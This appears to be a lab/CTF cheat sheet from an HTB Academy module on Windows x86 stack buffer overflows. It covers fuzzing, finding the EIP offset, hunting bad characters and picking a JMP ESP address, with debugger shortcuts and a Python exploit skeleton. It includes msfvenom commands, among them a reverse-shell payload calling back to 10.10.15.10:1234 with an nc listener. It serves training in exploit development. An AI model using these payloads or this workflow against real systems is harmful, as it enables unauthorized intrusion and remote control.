PWN ^: Exploitation

Stack-Based Buffer Overflow (Win x86)

Classic Windows x86 stack overflow: fuzzing, EIP control, bad chars, JMP ESP, shellcode.

advanced updated 2026-08-09 Immunity Debugger · mona.py · msfvenom

Stack-Based Buffer Overflow (Win x86)

Classic 32-bit Windows stack overflow workflow. Based on the HTB Academy module cheat sheet, with tooling for both Immunity Debugger + mona.py and x64dbg + ERC.

For authorized lab/CTF use only. Target software you own or are explicitly permitted to test.


The Five Steps

  1. Fuzzing — send growing input until the service crashes
  2. Controlling EIP — find the exact offset that overwrites the return address
  3. Identifying bad characters — bytes the app mangles, must be excluded from shellcode
  4. Finding a return instruction — a JMP ESP (or equivalent) in a non-protected module
  5. Jumping to shellcode — overwrite EIP with that address, land in your payload

General

# RDP to the Windows debugging VM
xfreerdp /v:<target IP> /u:htb-student /p:<password>

# Create a cyclic pattern (Metasploit)
/usr/bin/msf-pattern_create -l 5000

# Find the offset of the value that landed in EIP
/usr/bin/msf-pattern_offset -q 31684630
:: List listening ports on the Windows target
netstat -a | findstr LISTEN

:: Interact with the vulnerable port
.\nc.exe 127.0.0.1 8888

Generating Shellcode (msfvenom)

# Local privesc / command execution payload
msfvenom -p 'windows/exec' CMD='cmd.exe' -f 'python' -b '\x00'

# Reverse shell payload (exclude null + newline bad chars)
msfvenom -p 'windows/shell_reverse_tcp' \
  LHOST=10.10.15.10 LPORT=1234 -f 'python' -b '\x00\x0a'
# Catch the reverse shell
nc -lvnp 1234

Note — Always pass every confirmed bad character to -b. A single unescaped bad byte truncates or corrupts the payload and the exploit fails silently.


Debugger Shortcuts (Immunity)

ActionKey
Open fileF3
Attach to a processalt+A
Go to Logs tabalt+L
Go to Symbols tabalt+E
Search for instruction (current module)ctrl+f
Search for patternctrl+b
Search all loaded modules for instructionSearch For > All Modules > Command
Search all loaded modules for patternSearch For > All Modules > Pattern

ERC (x64dbg plugin)

# Set working directory for output files
ERC --config SetWorkingDirectory C:\Users\htb-student\Desktop\

# Create a cyclic pattern
ERC --pattern c 5000

# Find pattern offset from the value in EIP
ERC --pattern o 1hF0

# Generate a full byte array (all 256 bytes)
ERC --bytearray

# Byte array excluding known bad bytes
ERC --bytearray -bytes 0x00

# Compare in-memory bytes against a byte-array file (bad-char hunting)
ERC --compare 0014F974 C:\Users\htb-student\Desktop\ByteArray_1.bin

# List loaded modules and their memory protections (find a JMP ESP module)
ERC --ModuleInfo

Note — Pick a return address from a module with no ASLR, no DEP, no SafeSEH and whose address contains none of your bad characters. ERC --ModuleInfo (or mona’s !mona modules) shows the protections.


Python Exploit Skeleton

#!/usr/bin/env python3
import socket

target = "127.0.0.1"
port   = 8888

offset = 0            # from step 2 (pattern_offset)
eip    = b"\x00\x00\x00\x00"   # JMP ESP address, little-endian
nops   = b"\x90" * 16          # NOP sled
shellcode = b""      # from msfvenom (bad chars excluded)

buf = b"A" * offset + eip + nops + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(buf + b"\r\n")
s.close()
# Quick fuzzing payloads
python -c "print('A'*10000)"
python -c "print('A'*10000, file=open('fuzz.wav', 'w'))"

Debugging the exploit script itself:

breakpoint()   # drop into pdb at this line
# 'c' to continue from the breakpoint

Workflow Summary

StepGoalTooling
FuzzCrash the servicegrowing A*N payloads
OffsetControl EIPmsf-pattern_create / ERC --pattern c, then _offset / --pattern o
Bad charsClean shellcodebyte-array compare in the debugger
Return addrReliable jumpJMP ESP in an unprotected module
ShellcodeGet code execmsfvenom -b '<bad chars>'